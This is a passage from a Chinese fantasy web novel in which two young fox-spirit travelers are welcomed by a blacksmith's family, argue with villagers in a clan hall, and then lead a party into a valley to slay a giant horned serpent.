铁匠一看便已明了,转瞬笑开了颜,又将信件递给老妇人,欢喜道:“阿娘,真是胡大哥!”
老妇人面上一惊,接过书面查看,顿时喜笑颜开,走向前来仔细观察顾桃,又冲着君梦招招手,点点头示意她上前来。
君梦看了一眼顾桃,见他同意,便往前走去。
老妇人欣喜地拉起君梦双手,就着火光盯着她看了好一阵。
虽说相貌完全不似,但她这股子由内而外散发的娇憨劲儿,错不了!
老妇人眼含热泪,轻轻点头:“没想到……胡应庾的女儿都这般大了。”说着,牵起君梦的手就往屋内走去,招呼着顾桃也来。
四方桌上一壶茶水四个杯,一大盆羊肉,还有两碟酱果。
早就饿急的君梦不顾形象大快朵颐。
顾桃则显得斯文多了,时不时提醒君梦吃慢点。
铁匠和老妇人也都微笑制止,表示不妨事。
“哦对了,我就是你们要找的贺远,这是我阿娘,你们可以叫贺奶奶。胡大哥曾经救过我一命,我便一直将他奉为兄长,我和阿娘能在狼牙口生活下来,也全靠了他……”
贺远握着茶杯,盯着茶水有些走神,仿佛回到了记忆中的往事。
一时之间气氛好像沉静下来。
贺奶奶见君梦已然吃饱喝足,开口问道:“梦儿,告诉我,你们当真是从图努谷穿过来的吗?”
“图努谷?”君梦打了个嗝,脑子撑得有些宕机。
顾桃接过话茬:“我们确实是经过了一个峡谷,深处藏了许多紫色带角的凶蛇。”
“啊对对对!有一条好大的蛇王,我还捅了它一刀!”
提起蛇王,君梦显得兴奋不已,就差在脸上刻几个字:我真棒!
话音刚落,贺远的思绪也被拉回,脸上的震惊无以言表,缓缓转头看了一眼贺奶奶。
贺奶奶沉稳许多,并没有回应他,只道:“好孩子,累了吧,先去休息,我们明天再说。”
说罢,起身拉过君梦的双手,招呼两人跟随她上楼安置。
……
嘈杂的声响从暖和的被窝外面钻进来,吵得君梦脱离了梦境。她迷迷糊糊披衣坐起,推开半扇窗。
楼下像是市集般,村民们三两成群聚在一起。
君梦扭头竖起一只耳朵,哦,是在讨论殷全回来的消息。
双眼黏糊,还是很困。她拢了拢松垮的衣襟,想关窗再睡,可刚耷拉下来的耳朵又不自觉地翘起。
只听楼下隐约传来顾桃拘谨的声音:“嗯……是的……对……”
以及陌生的夸张感慨:“哎呀呀~了不得了!……”
君梦顿时来了精神,撑开眼皮将衣裙胡乱往身上套。打开房门往楼下瞟了一眼,便迫不及待地冲下去。
几个陌生妇人围着顾桃七嘴八舌,让他坐也不是站也不是。热情高涨的吹捧让他涨红了脸,神情局促,不时敷衍应付。
这场景不由让她想起,山娇村里不靠谱的婶子们,近些年就喜欢这么逗弄顾桃,时常惹得他脸红脖子粗,还同她说什么“秀色可餐不可错过”……
“桃桃!”
君梦一边往里挤,一边“让让,让让”的嘟囔着来到他身边。她张开双手一把拦住几个姨婶,转头冲顾桃眨眨眼。
顾桃见她眼里闪着狡黠的光,心里那点窘迫渐渐散去,放松了下来才发现她衣裳系得乱七八糟,嘴角带笑默默替她整理,其他的琐碎小事,交予她也无妨。
君梦声音清脆,语气很是不满:“哎哎哎,你们干嘛呢?大清早扰人清梦……”
“哟,这小姑子肯定就是重伤了恶蟒的那位吧!”
不等她抱怨完,高昂激动的声音响起,再次激起一片热浪。
“嗨呀,初见此少女我便觉得气度不凡,仙人之姿……”
“真是比小子还勇敢……”
“这胆识,将来定是个有出息的……”
“姐姐好厉害啊!”梳着双髻的小狐女眼里满是崇拜,拍手道:“将来我也要像姐姐一样努力修行,保卫家乡!”
突如其来的赞扬一时转了风向,让本想给顾桃解围的君梦也有些不好意思。
她挠了挠头,正想谦虚两句。刹时又清醒过来,双手叉腰一副悍妇模样,就像山娇村经常揪着丈夫耳朵骂的嫣红婶。
“少来!你们围着我桃哥是要做什么?!我起床气可是很重的!惹我不高兴小心我揍你们!”
“……”
眼看众人噤了声,显然是被她横眉竖眼吓到了,君梦心头得意一笑。
这时,端着吃食的贺奶奶从后院来到前厅。
“好了好了,都散了吧,各自回家。”
贺奶奶招呼挤在角落、同样被村民“围攻”的贺远帮忙整理餐桌,大家这才不甘不愿的往楼外走去。
贺远扯了扯皱巴巴的短襟,抱歉地打了个哈哈:“今早随口一提,谁想到这么快就传开了,大家比较好奇……”
顾桃笑了笑,示意贺叔不打紧。
君梦看着热气腾腾的肉架子,眼冒星星往桌旁凑,撩起白色尾巴大大咧咧就坐下了。
贺奶奶笑容满面,顺手将食盘
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放在离君梦近些的地方,拉过顾桃也坐了下来,给二人各捡了肥美的肉食。
四人吃得正香,殷宏来了。
他脚步沉重,顶着黑眼圈,像是一夜未睡。
“叔,奶……”
殷宏语气有些奇怪,目光扫过餐桌的几人,又快速移开。
他没再吱声,干脆侧身让出身后的殷全。
殷全昨天还精神抖擞的模样,此时却焉焉巴巴,眼眶红肿。
贺叔和贺奶奶瞥见他,先是怔住,随即大吃一惊:“全子?……!”
不等他们将话说完,殷全的眼泪唰就下来了。
他迈出两步,没等众人反应过来,“扑通”一声就朝着顾桃跪下去,膝盖砸在地上发出闷响声。
“顾兄弟!你一定要带我去报仇啊!!”
殷全嘶哑着大喊,咧着嘴哭得肩膀一抽一抽,眼泪混着鼻涕往下淌。
顾桃和君梦连忙扔下碗筷去扶他,贺叔和贺奶奶也围了上来,满脸焦急询问。
原来,昨晚激动的殷宏将殷全带回自己家中,以便倾述多年思念。
可殷全思家心切,执意要先回家看望奶奶。
殷宏见实在瞒不住了,只能红着眼告诉他:在他和老爹失踪的第二年,他奶奶悲伤过度,一病不起,没几天就去了……
“我一直以为…以为奶奶还在家中等我,我努力的活着、修行,就为了回来见奶奶……”
殷全被他们扶着站起来,还是止不住的哭,气都喘不匀。
“现在就剩我一个人了,我没有家人了……”
“那群恶蛇害了我爹,让我回不了家,我奶奶才会……我要让它们血债血偿!”
见他哭得撕心裂肺,在场的人皆心头一酸。
君梦悄悄别过脸,扯起顾桃的袖子抹了抹眼角。
悲恸的哭声让铁匠铺外再次聚集了不少村民,他们被这失踪多年的相熟之人感染,一时共情不已。
“唉,全这孩子太苦了,原本我们都以为他们家没人了,这哭的……还不如不回来。”
“啧,你瞎说什么?”
“当年他奶奶哭得眼都瞎了,天天守在村口,最后也没盼到他们回来,真可怜。”
“那山谷被恶蛇占领,真是造了孽!咱们村这些年来,可算是给它们送了不少口粮!”
“先不说别的,你看全子跪的那小子和丫头,听说就是他们带他闯过山谷回来的,我怎么看着不太靠谱呢?”
“嘘,小点声!先前贺远也是这么说的,我看可信度蛮高……”
切切私语交织落入顾桃耳中。
他仔细一瞧,发现村中出现的大部分都是老人与妇人,只有少数几个年轻人,正满脸狐疑地凝望着他。
“咚——咚——咚——”
就在这时,一阵急促的钟声响起。
贺远脸色一变,站起身:“召开紧急会议了,怕是有大事!”
人群中交谈声渐低,收起各自情绪,开始往钟声的方向赶。
殷宏搀着不住抽气的殷全往外走,步子有些踌躇。
最终还是指了指顾桃和君梦,对贺远说道:“叔,带他们一块儿去吧,族长有事要讲。”
贺远没吱声。
贺奶奶却皱起眉头,并表示自己不去,让贺远早些带他们回来,嘱咐完就转身进了后院。
5. 少年请战,祠堂之争
狼牙口大多殷姓,属灰狐族。
贺远本是狼妖,胡爹帮他在此落了户,成了村里少数几户异族。
殷老族长仁慈,村民大多也淳朴,对这些异族人并不排外。加上他打铁手艺极好,村里的劳作工具和防卫武器都在他这里采购,双方相处很是融洽。
彼时的贺远满面愁容,带着顾桃和君梦走进阴暗的宗族祠堂。
老族长穿了件蓝褂子,也懒得化形,就着一张皱巴巴的灰色狐狸脸,两片厚唇衔着一杆老烟斗,绿幽幽的狐眼有些浑浊,后背驼得像座小丘。
堂内满满,人声鼎沸。
“砰砰!”
老族长将烟杆在地上重重点了两下,原本嗡嗡的议论声戛然而止。
“昨夜,村里来了两位少年勇士,自山娇村,穿过蛇谷而来……”
他抬起头,四周昏暗的火把光落在他松垮的狐脸上。背起手来巡视一圈,继续讲道:“谷内巨蟒害得我们村死伤无数,几次讨伐均损失惨重,无功而返!”
“今,老朽倚老卖老……恳请两位小勇士,带领我族剩余精壮,清扫那谷中巨蟒,为我族民报仇血恨!还给附近村族一条自由安全的通道!”
越发拔高的音量回荡在宽敞的厅堂,他的眼神随着话语也明亮了许多,期待的目光望向最后排的陌生少年少女。
“对!我们不能再等了!”一名瘸腿的狐女悲愤大喊,指节捏得发白。
“我家老三现在还躺在床上动弹不得,全家口粮都指着村里救济。可再过不久,大雪封了山冻了河,村里储粮日益渐少,若是再不能去城里做点买卖,大家都得挨饿了!”
她和丈夫殷老三是少数从谷内逃生的村民。
也就是七年前那支队伍,两夫妻初次跟随殷全老爹进城。归程时被群蛇袭击,两夫妻仗着年轻力壮,在一众同行村民皆被受困后侥幸逃脱。
她自己瘸了一条腿,丈夫虽得到及时救治保住了性命,却因蛇毒无法完全拔除始终沉睡不醒。
之后村里发起过两次复仇讨伐,总共派出一百二十余名精壮的好猎手。最后合众人之力也只保住一身伤的老族长,其余均葬身于蛇腹,致使村中少壮折损大半。
而后,大家才从醒来的老族长口中得知,谷内还盘锯着一条脑袋都有屋子般大小的蛇王。
大伙听了狐女的话,皆不发一语,静静等待着顾桃和君梦的表态。
君梦头顶白狐耳抖了抖,她仰起小脸,见顾桃脸色沉着,忍不住伸手拽住他的袖角。
顾桃感受到她的小动作,低下头朝她轻轻一笑,示意她放宽心,先看看情况。
不等顾桃发话,人群中稚嫩的声音忍不住抢先开了口。
“我愿随勇士前去讨伐巨蟒!”沙哑的声音字字清晰。
这名灰狐少年叫阿山,他炙热的目光落在顾桃脸上,爪子紧紧握住腰带上别着的黑把短刀。
“呸!你个杀千刀的小兔崽子!”
尖锐的咒骂突然响起,一名灰狐大娘跟疯了似的从人群里挤出来,扑上去掐住阿山的臂肉。
众人连忙相劝。
突如其来的家暴场面惊得君梦目瞪口呆,除去恶蛇不是一件好事吗,怎地这妇人会如此反感?
阿山娘唾沫星子随着怒骂溅到他的脸上:“家里就剩你一个男丁,你赶着去送死啊?!”
阿山疼得龇牙,一边躲一边梗着脖子挣扎:“阿娘!我不是去送死!”
“不是送死是什么??”
阿山娘猛地转头,三角眼狠狠剜向最后排的两名陌生人。
她目光扫过少女,眼神看起来倒是很机灵,可整个人嫩咕隆咚的完全没有长开。
再从头到脚端详那白发少年,虽说在妖界也当算高大健壮,可面孔却是同样的稚嫩,尤其是他的腰间,竟无任何防身的兵器。
阿山娘撇下嘴角,不屑地冷哼道:“一个毛都没长齐的丫头片子,一个小子连称手的家伙什都没有,就这俩还‘勇士’?怕是给巨蛇塞牙缝都不够!”
君梦顿时来了火气,竖起眉毛怒道:“你说什么呢!我们就是从山娇村来的,那蛇谷我们也闯过来了!怎么地?!”
随着她的话音,眼眶通红的殷全气呼呼从人群挤出来,沙哑的嗓子因为愤怒而破音:“不许你胡说!顾兄弟和君姑娘可不是寻常娃娃!”
他转头面向满堂村民,激动的强调:“我亲眼所见!我殷全今日还能站在这里,也都是托了他们的福!”
阿山娘被两人堵得一噎,脸上有些挂不住,语气支支吾吾起来:“你、你个不孝子,殷三一家都能回来,你怎地不回来?”
她说出这话,脑子就活络了,越发觉得自己思路是对的,于是重新挺直腰杆,理直气壮道:“谁知道你是不是在外鬼混结识了什么不三不四的人?!活活把你奶气死了!”
“你!!”
殷全顿时气结,拳头握得皮肉发白,胸膛剧烈起伏。他是知道这婶子泼辣,可接连的打击也磨灭了他的桀骜,一时被她这般颠倒黑白的说辞气得说不出话来。
阿山娘看他无言以对,剜了他一眼,随即调转矛头指向君梦。
“你说你从哪来就是从哪来?!我凭什么信你?你们怕不是合起伙来要耍什么阴谋,让咱村男丁都死绝了,好并到隔壁村去添人口吧!”
顾桃双眼微眯,眸底掠过一丝不快,又很快压下去,终归没有出声。
与人争执本就不是他强项,对方又是个情绪激动的妇人,实在懒得与之计较。何况蛇患也不是他的必担之责,除与不除,全凭他们自己拿主意,说到底,他只是个外人。
相比他的冷静,君梦是早看不惯阿山娘的强词夺理了,破嘴一张就往殷全心窝上扎刀子。
她正憋着一股火,这可好,矛头转到她头上了!当即炸了毛,撸起袖子就想打人。
可还未行动,余光就瞥见一旁冷着脸的顾桃,理智又战胜了冲动。
倘若她动手打了一个普通村民,怕是要挨训……于是只能硬生生将火气咽回肚中,劝慰自己:不与这妇人逞口舌,咱拿实力说话!
她头顶耳朵向后撇着,大眼不甘心地一瞪,声音清脆又洪亮:“贺叔可以证明!贺叔?人呢?”
“……”
贺远抱着手臂蹲在一角,打死也不语。
可这妮子眼尖,扒开人群就往他来,手一摊,“贺叔,我爹的书信呢,快给我!”
贺远幽怨地横了她一眼,叹口气,不情不愿在怀里掏啊掏……掏了半天,刚缩回手还在犹豫中,君梦一把将他手中物夺了过去。
她熟练的抖开信件,信上几个字大概就是:女儿下山历练,万望兄弟指路。
斗大的字还不如那只歪七扭八的黑毛狐狸惹人眼。
殷老族长越过凑热闹的人群,接过信纸,借着火把光仔细看,轻微点了点头:“唔……字还是这么丑,确实是胡应庾的手笔。”
将信纸还给贺远,殷老族长靠近顾桃,捻了捻须子说道:“今早阿宏来报时,我其实也有些怀疑的……而今看来,你们两个娃娃是有些本事,不知两位可愿帮我们一把?”
阿山娘被君梦撸袖子时的神情吓得静默了片刻
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,可现下眼看这事要被落实,还是鼓起一口气出声阻止:“不行!”
她干脆破罐子破摔,转向殷老族长,开启新一轮输出:
“我守着寡把他拉扯大,不是让他跟着两个外人去填蛇肚的!您轻信来路不明的毛孩子,是要把咱们全村都往火坑里推啊!”
不等众人有多余的反应,她拽着阿山往屋外拉扯,嘴里继续埋怨:“族长!我看您就是老糊涂了!先前一百来个精壮的汉子,个个是打猎的好手,都没能活着回来!”
“可您现在只让这两个小娃娃带队,咱们村男丁就这么些个,您干脆叫上大家伙一起去给那畜生当点心得了!”
这话让祠堂里顿时起了嗡嗡的附和声,不少年长的村民低着头窃窃私语,眼神里满是犹豫。
连老族长的背也更佝偻了,阿山娘说的也不无道理,好些家里只剩着老弱妇人,全靠村里年轻人打猎回来,大家相互帮衬着才将这日子过下去。若是仅剩这点男丁再回不来,往后怕是生存都难了。
听着母亲对殷老族长的指责越说越过,阿山终是忍不下去了,猛地甩开她的手,捂着留下红痕的胳膊,急切道:“阿娘!您别说了!”
阿山娘被他这一挣,险些摔倒,不可思议地死死盯着他,有些愣怔。自从她的丈夫没能回来,儿子就好像一夜长大,再也没有忤逆过她。
“阿娘,我爹走了四年,音讯全无……都说他已经死了,可我没见到,我不认!我更愿意相信,他是被困在了哪里才不能回来。”
阿山带着细细哭腔,努力瞪大了眼睛不让水雾滑落,声音微微发颤:“我要亲自去瞧瞧!就算他真的死了……那我,也要亲手为他报仇!”
阿山异常坚定的话让祠堂再次安静下来。
几名跟他同岁的少年擦了擦眼睛,挤过人群往他靠近。
“我也要去!我要找到我哥!”
“我也是……”
“带上我!”
村里仅剩的十几个少年郎纷纷附和。
先前顾桃还抱着胸观望,但此刻,同龄人的坚定而勇敢让他不禁动容。
君梦仰头看去,见他面上神情松动了些,不由挽上他的胳膊,轻唤一声:“桃哥……”
顾桃拍了拍她的手背,示意她,知道了。
“你们都要反了天了?!”
阿山娘脸色涨得通红,颤抖着手指朝阿山吼:“你要是敢去,我就死在你面前!我不能再失去你,你明白吗?!”
“阿娘!我必须去!就算不为找回我爹,也不能让那畜生把咱们困死在这!”
“你……”
“够了。”
低沉的嗓声骤然响起,不高,却带着一股穿透力。
顾桃缓缓抬起眼眸,墨绿的瞳在暗光里发亮。
他转头看向第一个开口的狐姨,喉结滚动了一下,温声道:“巨蛇的蛇胆,应能解除蛇毒。”
回过头,见阿山娘也被他震慑住不再吱声,这才对她说:“我们路过蛇谷时,发现了很多……很多的痕迹。您丈夫的线索,或许也能找到……”
这话像一道惊雷,炸得阿山娘脸色瞬间煞白,身子晃了晃。
阿山赶紧扶稳了她。
顾桃不再看她,朝着殷老族长拱手:“承蒙族长看得起,但这事毕竟关乎性命,需做得万全准备才可出发。”
“好得很,好得很!”
殷老族长见他总算答应,心满意足“吧唧”抽了一口老烟,皱成一团的老脸这才舒展了几分。
贺远一跺脚出了屋子,这臭小子,怎么就答应了呢!
6. 再入蛇谷
两人跟着愤愤的贺远回到铁匠铺。
一楼闭着门,推门进去,未见人影。
贺远大刺刺往桌边一坐,拉着个驴脸斜了他们一眼。
君梦假装没看见,一步蹿上去就着他旁边坐下。
那只小手又欠又快,伸手就扯了扯他的胡须,嘻皮笑脸道:“贺叔~多大点事儿,瞧您给气得,鼻子都要冒泡泡了~”
“梦儿无礼……”顾桃轻声一笑。
贺远吹胡子瞪眼睛:“你这鬼丫头,说得倒是轻巧!你们闯了过来,多少也是有些运气,怎么就敢胡乱答应下来?要是你们两个出了什么事,我怎么跟胡大哥交代?!”
“可我们从山娇村过来,不也是您说出去的嘛!”君梦噘嘴。
“……”
贺远脸色发青,甚至想扇自己两巴掌。
他脑子抽了跑去外头炫耀,这殷老族长果真是个老狐狸,逮住机会就紧急召开会议,竟打起了他们的主意。
“嘻嘻,贺叔莫生气,您要相信我们嘛。”
“啧……”
对于胡应庾的独女,他也实在是不忍责备。
听得前厅有声音,贺奶奶从后院走来,身上还系着粗布围腰。
看样子,贺远是没能拦下来。
相处多年,她可太清楚殷老族长了。
也罢,他们两母子在此生活多年,对这里的土地和大家早有难以割舍的感情。如今村中有难,自己的儿子又怎么忍心开口阻止?不管是接纳他们的村里人,还是胡应庾,都对他有恩,实在难以抉择。
贺奶奶默默叹气,冲贺远招招手:“我把那块玄铁搬出来了,去,连夜替小桃打造一把称手的兵器。”
贺远愣了一愣,随即恍然大悟,抬手“啪”一声拍在脑门上:“瞧我这脑子!”
是了,先前小桃说的万全准备,本来是让大家安抚好自己家里人,以及准备好动身的物品。
可他自己,怎么能没有一件好兵器呢!
“阿娘,您说得对,我这就去开工!”
顾桃和君梦两人眼睛一亮,喜上眉梢。
顾桃难得的露齿一笑,贺远打铁的功夫是他看在眼里的,连忙对贺叔和贺奶奶行了个大礼。
君梦更是激动地一把抱住贺奶奶,连连撒娇道谢,哄得贺奶奶总算露出笑容。
倒不是山娇村的叔伯们舍不得给他兵器,实在是他与叔伯们手上力量悬殊过大。
他们曾经私藏的好东西以他现在的修为用不了,但村里并没有专门打造兵器的好工匠,勉强制作出来的,对于他来说又及不称手,加上平日训练多以肉搏为主,索性也就空着手了。
如此看来,胡叔特意叮嘱他们先来找贺叔,也是别有深意。
顾桃心中一暖。
……
三日后,贺远总算将兵器打造完成。
贺奶奶千叮万嘱:不可逞强、不可鲁莽、保命要紧。
顾桃一一应下,贺奶奶才放任了两人前去集合。
天还未亮,花了几天时间做准备的小队,在村口一众老弱病残的期待与担忧中上了路。
留守村里照顾老小的几个年轻人愤愤不平,只恨自己没能被选中。
贺远作为村里唯一的铁匠,算是承担着村里守卫的责任,也只能陪着阿娘留下。
走在最前面的顾桃仍旧背着君梦,为她保存最完好的体力。
卯时的露水打湿了裤脚,山间清晨冷冽的寒意让君梦裹紧衣领子,小脸又往他颈窝钻了钻。
身后的队伍整齐排了两列,仅仅十二人,手中紧握着各式各样的兵器。
殷全和阿山排在前头,沉默着跟随两人向来时的山谷前进。
两个时辰后,日头渐高,万道金光透过云层和树枝,大地也逐渐亮了起来。
山谷入口一如来时阴森幽暗,窄小的壁口上长满了湿漉漉的青苔,散发出一股腐臭的气味。
顾桃将君梦放下,示意大家就地休息,补给食物和水,务必以自身最好的状态来面对接下来的战斗。
殷全狼吞虎咽手中肉块,双眼弥漫着狠厉。
顾桃收回君梦递过来的水壶,往腰间一挂。
意念之下,藏于须庾袋中的长斧便握于右手,正是贺远为他量身所造。
斧身足有人高,弯月形状,斧刃宽阔,寒光凛洌,斧面雕镂繁杂花纹,取名宣花。
厚重的长斧让众人倒吸一口凉气,再看顾桃一副轻松模样,大家就更心安了。
“出发。”
顾桃见众人整装完毕,抬脚越过君梦,首当其冲进入了山谷。
越往里走,光线越暗,只能隐约听到前方传来“嘶嘶”声。
谷内腥臭扑鼻,想起那一团团扭曲混乱的蛇群,不禁头皮发麻。
“大家打起精神,注意周围动静,此蛇极为诡异。”
君梦出声提醒着大家,这群蛇阴险至极,说不定什么时候到了身边还没有察觉。
阿山听罢,自觉掉队到最后,幻化了一张狐脸背在脑后,紧盯着大伙身后的情况。
突然,一阵腥风扑面而来,几条腿粗的大蛇从队伍两边的暗处飞窜出来,一群小蛇紧随其后。
“当心!”
阿山大喊,同时举起手中短刀,带着呼啸声砍向最靠近那条大蛇。
只听“铛”的一声,短刀虽砍中它七寸处的鳞片,却只留下个白印便被弹了回来,震得他脸上肉都打颤。他也来不及多想,惊诧之下收手便格挡着其他小蛇的攻击,后背冷汗以肉眼可见的速度打湿了粗布短褂。
“阿山躲开!”
殷全瞪大了双眼,挥舞着殷宏赠与他的长矛,挑散了一团小蛇群顺手往大蛇捅去。尖锐的矛头划拉过鳞片带出一阵刺耳的“滋拉”声,最终扎进了鳞片之间。
血点冒出,大蛇顿时吼叫起来,在空中一弹,将身体卷缩起来落地遁走。
“好硬的鳞片!”阿山惊呼,声音都变了调。
眨眼的功夫,队伍中就有人或被大蛇头上的长角挑断筋骨倒地不起,或被咬被缠。
顾桃舞动长斧,甩开被砍断的两条大蛇,一手护着君梦往队伍最后排靠近,手起斧落险险救下一个被缠住的年轻人。
此时的小队已经散乱,顾桃大喊:“都靠近,相互照应!”
他手中长爷舞得密不透风,一刻不停驱赶着群蛇,不多时便扫出一片净土。
君梦带着还能行动的队友,或拉或扶
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着伤员,进入顾桃身后的保护圈内。
怕他分心,忙出声提醒:“桃哥,这里交给我!”
她放下伤员后,从怀里掏出一小袋驱邪药粉,快速挥撒到众人头身,又掏出几颗药丸塞入被咬的队员口中。
“呕……”
“啊这……这是什……什么东西??”
“好难受!……”
殷全只觉头晕眼花,手中短刀也快拿不住了,拼命撑着地面才没有倒下去。
君梦心虚得撇过脸,手中快速处理着伤员,少有见她面露严肃。
“对不住了,这是驱邪的毒药,会让你们感觉难受,但是蛇群应该不敢靠近了。”
之前倒是想过这药粉会对他们产生影响,只等留到最后关头再用。
但他们毕竟都是已成人形的妖,不是那些只会咬人的蠕虫,唯独没想到,这药效对他们来说仍是这么强烈……
也不知道是害他们受了蛇毒好,还是从一开始就适应这股药效好。
总之,最后肯定也只能靠她和顾桃两人收拾残局了。
君梦让完好无损的殷全照顾众人,呆在那片相对安全的区域。
随即解下腰间盘成圈的藤鞭握在手中,催动妖力将自身妖毒附着其上,毫不犹豫迈步向顾桃的方向飞奔而去。
……
昏天暗地的打斗,飞石乱溅,蛇尸满地。
浑身浴血的两人肩并肩清理着越来越后退的蛇群,几条为首的大蛇早已身首异处。
他们身上蒙胧的细薄白光,仿佛隔绝着毒血,惊呆了观战的众人。
君梦灵巧的身影躲避着每一次刁钻的攻击,手中那条泛青光的藤鞭,上下翻飞抽打,蛇身滋滋冒着白烟。鞭上附带的妖毒好似比它们口中的毒液还恶,被触及的紫蛇“嘶嘶”扭动几下便不再动弹了。
正当她越发得心应手,顾桃忽然一把揽过她的腰身就往后退了好几步,低沉道:“它来了。”
话音刚落,一声沉闷如雷的吼叫炸开,像是巨石从悬崖滚落,震得两侧石壁簌簌掉灰。
接着浓墨般的烟雾从地面冒出,小蛇群们早已消失得无影无踪。
众人耳中嗡嗡作响,年龄最小的阿庆甚至抖了起来,殷全和阿山撑着石壁努力站起身,握住武器作出防御姿态。
“殷全,还有力气吗?带着他们出谷。”
顾桃头也不回的开口,目光死死盯着前方烟尘,小心翼翼缓缓往前靠近。
“不行,怎么能丢下你们两个人!”
殷全有些恼怒,恨自己修为跟不上,才开场就被打发到了观众席。
可眼下状况,不由得他逞强,否则只会连累大家。
“别墨迹,赶紧走!”
君梦转头冲他们喝道,自己跟在了顾桃的侧面,与他拉开一段距离。
殷全紧咬着牙关,双眼通红。
犹豫片刻终下定决心,招呼阿山和阿庆,一人扶两个,两个接四个,企图往入口处挪动。
可连拖带拽还是没能离开几寸,伤员实在太多了。
好几个已经彻底昏迷,根本动弹不得。
无法,他们只能尽量远离即将开始、必定激烈的战场,争取不给他们制造拖累。
7. 智斗角鳞恶蟒
烟尘中有一瞬的静默。
顾桃浑身紧绷,右脚前踏,微弓了身子,手中长斧斧头点地侧立在身后。
只见黑色烟雾突然打着旋被往回吸,两支卧背的长角带着那颗熟悉的三角巨头冒了出来。
巨蟒从暗洞中飞快游出,长角直立,血红的双眼黄瞳竖起,死死俯视着两人。
所谓仇人见面分外眼红,上次让这两只小崽子跑脱了不说,自己还吃了大亏!
而今,不知天高地厚的两只小儿还巴巴地送上门来,此仇必报!
巨蟒张开血盆大口怒吼一声,猛地斜着脑袋便攻向前方的顾桃。
顾桃在它发动的瞬间也大喝一声,提起长斧跃向空中。原本斧刃往蛇头劈去的动作突然一转手腕,变成斧柄朝下。
他看准时机猛地将斧柄往下刺,尾端圆锥形的钝尖径直扎入了巨蟒的眼球,击起一阵凄厉的哀嚎。
出师未捷的巨蛇吃痛,疯狂甩打身体。
但顾桃也使了蛮力,将斧柄扎得太深,斧身几乎没入一半。
他在巨蟒的翻滚下努力稳往自身,双手握斧,双脚蹬在蛇鼻上,拼命晃动想要拔出长斧。
剧烈的绞痛让巨蟒气愤不已,开始用头撞击石壁,试图砸扁这个该死的家伙。
顾桃堪堪躲过两次均未成功,最后也只能放弃长斧,用手一撑蛇头,借着力把自己送回地面,双腿曲膝向后滑了十来尺才停下。
就在这时,手脚并用、飞速在石壁上方游走的君梦,看准巨蛇撞壁后撤的时机,脚部发力一蹬,闪身飞向蛇头。
她本就是走灵活路线的毒系妖,对付这种巨物,不适合近身肉搏,只能找机会从旁辅助。
她猛地甩出长长的藤鞭缠住斧头,另一条手臂紧紧抱着巨蛇的长角。
此时长斧也更加松动,堪堪悬挂在巨蛇眼眶中,被她以力借力用劲一拽,长斧伴随着黑色浓稠的液体一并溅出,在空中下了一场腥臭的血雨。
“梦儿!”
顾桃急火攻心,这巨蛇毒血不容小觑,也不知她裹身的术法能不能抵挡住。
真是乱来!
他已经顾不上身形走位,双眼泛起微光,以最快的速度正面冲向巨蛇。
只听他发出震天大吼,猛地用双手抱起搭在一旁的蛇尾,借着冲刺的速度高高踏地跃起,使尽全力将它一拉一扯。
眼看巨蛇咆哮着狂乱甩头,就要将君梦甩下来了,这下又被人扯着尾巴闪了脊骨,顿时头晕目眩,浑身瘫软。
君梦趁此机会,一脚猛踹长斧后就往下跳,整个人正好落入顾桃张开的双臂中。
长斧“呼拉拉”转着圈砸向不远处的地面,发出“哐当”一声巨响。
顾桃瞪了她一眼,也不说话。将她往后一抛,立马拾起长斧再次往巨蟒掠去。
君梦嘟着嘴,坐在地上揉了揉生疼的脚背。
长斧的重量约摸是她拿不动的,没成想给了它一脚,痛的还是自己,这波亏了!
她刚要站起来,后知后觉中才嗅到令人作呕的气味,刺激着鼻腔害她接连打了好几个喷嚏。
顾桃靠近摇摇欲坠的巨蟒,寻找它的要害。
它周身鳞片更是坚硬如钻,他早已领教过,想来这柄长斧也不能对它造成什么伤害,看来还得从它破损的眼眶入手。
他算准了位置正要行动,谁知这巨大的畜生生命力倒是顽强得很,感受到仇人的气息靠近,一只独眼恶狠狠瞪过来。
顾桃的安然无恙,再次激起它一阵暴怒的嚎叫,纵使身体已经不太能自主活动了,也强撑着将蛇头猛砸过来。
顾桃就地一滚,躲过这一砸。
他突然想起君梦抬手就往它腹部扎去的那一刀,想来那处便是它的弱点。
趁着巨蟒倒地还未缓过劲,他聚起妖力附着在长斧上,迅速掠过蛇头直奔蛇腹。握紧了斧柄,借着奔跑的力道,就着鳞片逆向插入斧刃,只见蛇血立刻顺着斧刃哗拉拉往外涌。
不等巨蟒喘息,顾桃双手紧握斧颈一顶,手腕使了一股巧劲,继续顺着鳞片缝隙划拉。
随着破布碎裂的声响,夹杂着巨蟒痛苦的低吟,蛇腹已然大开,肠脏流了满地。
一股黑烟混着热气弥漫在空中,恶臭熏得人睁不开眼。
顾桃屏住了呼吸,运起所剩不多的妖力聚于双瞳,瞳孔霎时墨绿闪烁。
重新清晰的视野让他找准了位置,挑起长斧就割下它的绿胆。
他不敢用手沾染,当下取出一只妖蚕丝织的小袋,就以斧刃盛之收入袋中。
正要撤退时,却发现蛇腹内有一团黑红色类似魔气的东西,像是失了对宿主的掌控在肉壁内四处乱蹿。
不过他此时已经没有多余的精力一探究竟了,甩了甩头连忙往后退。
退出黑雾范围时,他的脸色已然憋得通红。
他突然感觉脑中恍惚感加重,心知这是巨蟒血水里的毒素实在太重,自己也有点吃不消了,赶紧收起长斧就往外狂奔。
待顾桃刚离开巨蟒残破的身躯,却见君梦花容失色,面容极度扭曲的朝他大喊。
“桃哥!!!”
顾桃暗道一声不好!
他根本来不及细查状况,只能催动仅剩不多的妖力再次聚于长斧上,下意识举过头顶,勉强为自己布下一顶护罩。
君梦满眼焦急,顾不上身体的不适,刹那间便闪身上前,在身后留下一片残影。
她挥动手中藤鞭裹了他的腰就拼命往后拉。
惯性使顾桃快速向君梦撞过去,后者前奔的速度太快反而躲闪不及,两人重重往后砸向地面。
摔得七荤八素的顾桃冷汗直冒,一把丢掉斧头翻身而起。
被他压在身下的君梦已经晕厥,苍白的小脸沾了些许泥土,紧闭着双眼,长睫毛纹丝不动。
头顶那对白色的狐耳沾着刺目的鲜红,血迹正顺着发丝慢慢往下渗。
“梦儿!梦儿……”
顾桃的声音嘶哑,面上血色尽褪。
从小被他捧在手心疼的人,第一次受如此重伤竟是为了救他!这让他心脏像被揪住,一阵疼。
他小心翼翼又急切万分地轻轻抱起君梦,宽大的手掌垫着她的头颈,死死稳住手臂的颤抖,努力让自己忽略手上沾染的湿热液体。
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“快走,快出去!”
几乎失了声的顾桃迈着极大的步子往谷外小跑,尽可能平稳地托着她。
余光在不经意间,瞄到附近有几处腐蚀的斑点痕迹,还滋滋冒着黑烟。
